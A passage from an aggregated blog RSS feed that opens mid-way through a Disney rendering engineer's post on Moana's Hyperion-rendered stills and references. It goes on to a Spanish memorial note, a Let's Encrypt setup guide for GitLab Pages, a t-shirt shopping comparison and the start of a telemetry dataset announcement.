&lt;p&gt;The first section of the credits sequence in &lt;em&gt;Moana&lt;/em&gt; showcases a number of the props that our artists made for the film. I highly recommend staying and staring at all of the eye candy; our look and modeling departments are filled with some of the most dedicated and talented folks I’ve ever met. The props in the credits have simply preposterous amounts of detail on them; every single prop has stuff like tiny little flyaway fibers or microscratches or imperfections or whatnot on them. In some of the international posters, one can see that all of the human characters are covered with fine peach fuzz (an important part of making their skin catch the sunlight correctly), which we rendered in every frame! Something that we’re really proud of is the fact that &lt;em&gt;none of the credit props were specially modeled for the credits&lt;/em&gt;! Those are all the exact props we used in every frame that they show up in, which really is a testament to both how amazing our artists our and how much work we’ve put into every part of our technology. The vast majority of production for &lt;em&gt;Moana&lt;/em&gt; happened in essentially the 9 months between &lt;em&gt;Zootopia&lt;/em&gt;’s release in March and October; this timeline becomes even more astonishing given the sheer beauty and craftsmanship in &lt;em&gt;Moana&lt;/em&gt;.&lt;/p&gt;

&lt;div id="2016-11-17-frames"&gt;&lt;/div&gt;

&lt;p&gt;Below are a number of stills (in no particular order) from the movie, 100% rendered using Hyperion.
These stills give just a hint at how beautiful this movie looks; definitely go see it on the biggest screen you can find!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_20.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_20.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_12.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_12.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_14.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_14.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_13.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_13.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_04.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_04.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_05.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_05.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_06.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_06.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_38.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_38.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_07.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_07.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_08.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_08.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_10.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_10.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_11.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_11.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_09.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_09.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_03.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_03.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_02.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_02.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_44.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_44.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_16.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_16.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_17.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_17.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_19.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_19.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_35.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_35.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_37.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_37.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_21.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_21.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_22.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_22.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_43.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_43.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_23.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_23.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_24.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_24.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_25.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_25.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_26.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_26.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_27.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_27.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_28.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_28.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_29.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_29.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_30.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_30.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_31.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_31.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_32.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_32.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_15.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_15.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_33.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_33.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_34.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_34.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_18.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_18.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_45.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_45.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_36.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_36.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_39.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_39.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_40.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_40.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_41.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_41.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_42.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_42.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_46.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_46.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_47.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_47.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_48.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_48.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_50.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_50.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_49.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_49.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is a credits frame with my name that Disney kindly provided! Most of the Hyperion team is grouped under the Rendering/Pipeline/Engineering Services (three separate teams under the same manager) category this time around, although a handful of Hyperion guys show up in an earlier part of the credits instead.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_credits.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_credits.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All images in this post are courtesy of and the property of Walt Disney Animation Studios.&lt;/p&gt;

&lt;p&gt;Also, &lt;em&gt;Moana&lt;/em&gt; is accompanied by a fun new short from Disney Animation called &lt;em&gt;&lt;a href="https://blog.yiningkarlli.com/2017/03/inner-workings.html"&gt;Inner Workings&lt;/a&gt;&lt;/em&gt;, which combines CG animation rendered using Hyperion with more traditional hand-drawn elements.
Be sure to catch &lt;em&gt;Inner Workings&lt;/em&gt; with &lt;em&gt;Moana&lt;/em&gt;!&lt;/p&gt;

&lt;hr /&gt;

&lt;div id="2016-11-17-addenda"&gt;&lt;/div&gt;
&lt;h2 id="addendum-2018-08-18"&gt;Addendum 2018-08-18&lt;/h2&gt;

&lt;p&gt;A lot more detailed information about the photon mapping system, the level-set compositing system, and the halo light is now available as part of our recent TOG paper on Hyperion &lt;a href="https://dl.acm.org/citation.cfm?id=3182159"&gt;[Burley et al. 2018]&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;div id="2016-11-17-references"&gt;&lt;/div&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;

&lt;p&gt;Marc Bryant, Ian Coony, and Jonathan Garcia. 2017. &lt;a href="https://dl.acm.org/citation.cfm?id=3085076"&gt;&lt;em&gt;Moana&lt;/em&gt;: Foundation of a Lava Monster&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2017 Talks&lt;/em&gt;. Article 10.&lt;/p&gt;

&lt;p&gt;Brent Burley, David Adler, Matt Jen-Yuan Chiang, Hank Driskill, Ralf Habel, Patrick Kelly, Peter Kutz, Yining Karl Li, and Daniel Teece. 2018. &lt;a href="https://dl.acm.org/citation.cfm?id=3182159"&gt;The Design and Evolution of Disney’s Hyperion Renderer&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 37, 3 (Jul. 2018), Article 33.&lt;/p&gt;

&lt;p&gt;Dong Joo Byun and Alexey Stomakhin. 2017. &lt;a href="https://dl.acm.org/citation.cfm?doid=3084363.3085056"&gt;&lt;em&gt;Moana&lt;/em&gt;: Crashing Waves&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2017 Talks&lt;/em&gt;. Article 41.&lt;/p&gt;

&lt;p&gt;Ben Frost, Alexey Stomakhin, and Hiroaki Narita. 2017. &lt;a href="https://dl.acm.org/citation.cfm?id=3085091"&gt;&lt;em&gt;Moana&lt;/em&gt;: Performing Water&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2017 Talks&lt;/em&gt;. Article 30.&lt;/p&gt;

&lt;p&gt;Jonathan Garcia, Sara Drakeley, Sean Palmer, Erin Ramos, David Hutchins, Ralf Habel, and Alexey Stomakhin. 2016. &lt;a href="https://dl.acm.org/citation.cfm?id=3005379"&gt;Rigging the Oceans of Disney’s &lt;em&gt;Moana&lt;/em&gt;&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH Asia 2016 Technical Briefs&lt;/em&gt;. Article 30.&lt;/p&gt;

&lt;p&gt;Chenfafu Jiang, Craig Schroeder, Andrew Selle, Joseph Teran, and Alexey Stomakhin. 2015. &lt;a href="https://dl.acm.org/citation.cfm?id=2766996"&gt;The Affine Particle-in-Cell Method&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 34, 4 (Aug. 2015), Article 51.&lt;/p&gt;

&lt;p&gt;Sean Palmer, Jonathan Garcia, Sara Drakeley, Patrick Kelly, and Ralf Habel. 2017. &lt;a href="https://dl.acm.org/citation.cfm?id=3085067"&gt;The Ocean and Water Pipeline of Disney’s &lt;em&gt;Moana&lt;/em&gt;&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2017 Talks&lt;/em&gt;. Article 29.&lt;/p&gt;

&lt;p&gt;Alexey Stomakhin and Andy Selle. 2017. &lt;a href="https://dl.acm.org/citation.cfm?id=3073597"&gt;Fluxed Animated Boundary Method&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 36, 4 (Aug. 2017), Article 68.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Thu, 17 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2016/11/moana.html</guid></item><item><title>Narcos: Season 2</title><link>https://olshansky.info/tv/narcos_season_2/</link><description>Olshansky's review of Narcos: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 16 Nov 2016 23:51:58 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/narcos_season_2/</guid></item><item><title>Gracias Mamá</title><link>https://danielpecos.com/2016/11/15/gracias-mama/</link><description>&lt;p&gt;&lt;img alt="Rosa Martínez" class="alignleft size-full" height="228" src="https://danielpecos.com/assets/2016/11/RosaMartinez.png" width="171" /&gt;Por todo lo que has sido y hecho, no puedo hacer otra cosa que estarte agradecido.&lt;/p&gt;
&lt;p&gt;Llevo meses tratando de escribir este post, y realmente puede que sea el más difícil escrito nunca. Varias veces he tenido que parar y dejarlo para otro momento. No pretendo que sea un post público sino algo que te escribo a ti. Para mi.&lt;/p&gt;
&lt;p&gt;Ni que decir que te echaré de menos. Nunca te olvidaré y haré todo lo posible para que Izan tampoco lo haga. Todas las noches mira las estrellas para mandarte besos.&lt;/p&gt;
&lt;p&gt;Gracias por todo mamá!&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Tue, 15 Nov 2016 08:01:12 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/15/gracias-mama/</guid></item><item><title>How to add TLS to a custom domain on Gitlab Pages</title><link>https://www.wints.org/notes/2016.11.15/</link><description>&lt;p&gt;&lt;a href="https://about.gitlab.com/2016/04/11/tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt/"&gt;Official Tutorial&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make sure letsencrypt-auto is executable (chmod +x letsencrypt-auto)&lt;/li&gt;
&lt;li&gt;Use the command &lt;code&gt;./letsencrypt-auto certonly -a manual -d YOURDOMAIN.org -d www.YOURDOMAIN.org&lt;/code&gt; for all subdomains you want to include.&lt;/li&gt;
&lt;li&gt;After a few screens, during which you&amp;rsquo;ll need to enter your email address, and give permission for you IP to be logged, you&amp;rsquo;ll be asked to add a page to your site.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Make sure your web server displays the following content at
http://YOURDOMAIN.org/.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM
before continuing:

5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.ewlbSYgvIxVOqiP1lD2zeDKWBGEZMRfO_4kJyLRP_4U

\#
\# output omitted
\#

Press ENTER to continue
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Once you do that, you&amp;rsquo;ll be asked to enter &lt;em&gt;another&lt;/em&gt; page, same as above. Once added you&amp;rsquo;ll have saved files in &lt;code&gt;/etc/letsencrypt/live/YOURDOMAIN.org/fullchain.pem&lt;/code&gt; and &lt;code&gt;/etc/letsencrypt/live/YOURDOMAIN.org/privkey.pem&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Enter these values in your gitlab.io project. Settings (gear on the top right) &amp;gt; Pages &amp;gt; + New Domain.&lt;/li&gt;
&lt;li&gt;fullchaim.pem &amp;mdash;&amp;gt; Certificate (PEM) | privkey.pem &amp;mdash;&amp;gt; Key (PEM) | Do this for each (sub)domain you specified in Step 2.&lt;/li&gt;
&lt;li&gt;It might take a little while, but your updated certificate should start to show up in ~10-15 minutes.&lt;/li&gt;
&lt;/ul&gt;</description><author>A Holding Company</author><pubDate>Tue, 15 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2016.11.15/</guid></item><item><title>Where to Buy (Cheap) Shirts Online</title><link>https://bfontaine.net/2016/11/14/where-to-buy-cheap-shirts-online/</link><description>&lt;p&gt;This post title sounds like a spam email subject but I was asked twice in the
past three weeks where I buy my t-shirts, so here’s an answer that everybody
can benefit from.&lt;/p&gt;

&lt;p&gt;Living in Europe means we can get quite high shipping costs on US-based
websites. The highest shipping cost per t-shirt I ever got was $23 for two
t-shirts and on some websites up to 40% of the total cost is due to shipping.&lt;/p&gt;

&lt;p&gt;The main criteria I have when buying t-shirts online are:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Their price. I very rarely buy t-shirts that are more expensive than $20-25.
The reason is I like to buy multiple t-shirts at once and having to pay $100
for four t-shirts plus shipping isn’t something I’d consider.&lt;/li&gt;
  &lt;li&gt;The quality of their design. Of course if all you want is a unicolor t-shirt
you can go to virtually any clothing store in the street to get one.&lt;/li&gt;
  &lt;li&gt;Their shipping costs and how much time I’ll have to wait (spoiler: at the
very least a couple weeks if it comes from the US).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A bonus point is if they accept Paypal. This is because Paypal does the
Euro/Dollar conversion for me; otherwise if I pay with my credit card in
Dollars my bank &lt;s&gt;steals&lt;/s&gt; takes me ~1% of the price, or €1 if it’s lower
than €100.&lt;/p&gt;

&lt;p&gt;Not-that-fun story: I once had to pay a $0.02 AWS bill. It cost me €1.02; €1
for my bank and ~€0.02 for AWS.&lt;/p&gt;

&lt;p&gt;Note that I’m not affiliated with any of the websites listed in this post and I
bought one or more times on each one.&lt;/p&gt;

&lt;h2 id="threadless"&gt;Threadless&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.threadless.com"&gt;Threadless&lt;/a&gt; is the first website I ordered shirts
on; back in 2009. They have a large choice of t-shirts; you have to really dig
to find geeky ones. A lot of them are as low as $10-12 and they have promos
where shirts can go as low as $5. All the ones I bought in 2009 are still in
perfect condition. The shipping costs are acceptable at ~30% of the total cost
(e.g. 5 t-shirts for $45 + $27 for shipping = $72) but I need at least a month
to receive my package.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pluses&lt;/strong&gt;: Large choice, good prices.&lt;br /&gt;
&lt;strong&gt;Minuses&lt;/strong&gt;: YMMV but I need to dig a lot to find t-shirts I like.&lt;/p&gt;

&lt;h2 id="6-dollar-shirts"&gt;6 Dollar Shirts&lt;/h2&gt;

&lt;p&gt;I don’t remember how I found &lt;a href="http://6dollarshirts.com/"&gt;6 Dollar Shirts&lt;/a&gt; but
it was quite a pleasant surprise to see a website that sells shirts at $6 each.
They even have a special price at $50 for ten of them. They have a lot more
geeky shirts and ones with references to popular culture. There are also a lot
of political t-shirts that I’m not interested in — but again you may like them.&lt;/p&gt;

&lt;p&gt;The downside of the site are the high shipping costs: $35 for ten shirts. But
given their shirt prices it stays very low: $50+$35 for ten t-shirts means only
$8.5 per t-shirt. The first ones I bought in 2013 are still in pretty good
shape. They’re not as good as Threadless’ but they’re really good for their
price.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pluses&lt;/strong&gt;: Prices, and some designs are really great.&lt;br /&gt;
&lt;strong&gt;Minuses&lt;/strong&gt;: After ~20 t-shirts I find it hard to find enough nice shirts to
fill another 10-shirts bulk.&lt;/p&gt;

&lt;h2 id="teespring"&gt;Teespring&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://teespring.com"&gt;Teespring&lt;/a&gt; is a time-limited t-shirts website. People
submit their design and if there are enough buyers before a few days it goes to
print. It’s not a site I often go on but it seems to be popular for when people
want to print a special-occasion shirt.&lt;/p&gt;

&lt;p&gt;I bought two shirts from them in 2014; each one cost $18 plus $12 of shipping
cost. That’s quite high, which is why I don’t often visit their website.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pluses&lt;/strong&gt;: Some shirts are nice.&lt;br /&gt;
&lt;strong&gt;Minuses&lt;/strong&gt;: Prices are high and there’s not a lot of choice.&lt;/p&gt;

&lt;h2 id="cotton-bureau"&gt;Cotton Bureau&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://cottonbureau.com/shop"&gt;Cotton Bureau&lt;/a&gt; is similar to Teespring but with
higher prices and goals appears to be higher than Teespring so less t-shirts go
to print. They do have nice shirts, thought.&lt;/p&gt;

&lt;p&gt;Last time I bought a t-shirt from them was on October 31 of this year. I picked
a Mystery Tee as well, which is a cheaper shirt they choose for you. They
should ship on November 28 so I should get them for Christmas — That’s a long
time to wait. I paid $25 for the t-shirt I chose; $15 for the Mystery one; and
$24 for the shipping. You have to really want that t-shirt to pay that much.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pluses&lt;/strong&gt;: Nice designs and if enough people subscribe to an already-printed
t-shirt it goes to print again.&lt;br /&gt;
&lt;strong&gt;Minuses&lt;/strong&gt;: Quite expensive and you have to wait until the end of the buying
window to have it printed and shipped.&lt;/p&gt;

&lt;h2 id="redbubble"&gt;Redbubble&lt;/h2&gt;

&lt;p&gt;&lt;a href="http://www.redbubble.com/"&gt;Redbubble&lt;/a&gt; is a marketplace that sells a lot of
stuff with designs from a lot of people.&lt;/p&gt;

&lt;p&gt;They have a lot of choice but in my experience the quality of their designs is
lower than Threadless’ and 6 Dollar Shirts’. They even sometimes have
duplicated or copied designs: two or three people got the same idea and
submitted (almost) the same design.&lt;/p&gt;

&lt;p&gt;The positive side of this is you’ll often find t-shirts that refer to current
TV series that don’t have official stores (unlike &lt;a href="https://secure.cbsstore.com/"&gt;CBS&lt;/a&gt;’ series), for example &lt;a href="http://www.redbubble.com/people/itsjane/works/15723610-my-other-bike-is-a-tree"&gt;this Bojack-Horseman-themed shirt&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Their shipping costs are pretty low; I paid only €2.5 to get my €21 t-shirt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pluses&lt;/strong&gt;: Low shipping costs and some nice finds if you search a lot.&lt;br /&gt;
&lt;strong&gt;Minuses&lt;/strong&gt;: A lot of not-so-original designs that make it harder to find the
good ones.&lt;/p&gt;

&lt;h2 id="teefury"&gt;TeeFury&lt;/h2&gt;

&lt;p&gt;&lt;a href="http://www.teefury.com/"&gt;TeeFury&lt;/a&gt; is a daily t-shirt website. They have two
shirts featured for a day at $11; otherwise you have to pay the full price
($20). I’m not a huge fan of their designs but they have very low shipping
costs; only $3 for a $11 t-shirt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pluses&lt;/strong&gt;: They’re the cheapest option of this list when you buy only one or
two t-shirts at once.&lt;br /&gt;
&lt;strong&gt;Minuses&lt;/strong&gt;: Only two t-shirts per day.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I hope this post may help you buy (cheap) t-shirts online. Note the shipping
costs I gave were for me in France; they may vary depending on your location.&lt;/p&gt;

&lt;p&gt;Please share your own recommendations in the comments!&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Mon, 14 Nov 2016 23:23:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2016/11/14/where-to-buy-cheap-shirts-online/</guid></item><item><title>Announcing the Cross Sectional Dataset</title><link>https://blog.harterrt.com/announcing-the-cross-sectional-dataset.html</link><description>&lt;p&gt;I'm happy to announce a new telemetry dataset!&lt;/p&gt;
&lt;p&gt;The Cross Sectional dataset makes it easy to describe our users by providing
summary statistics for each client.  Like the Longitudinal table, there's one
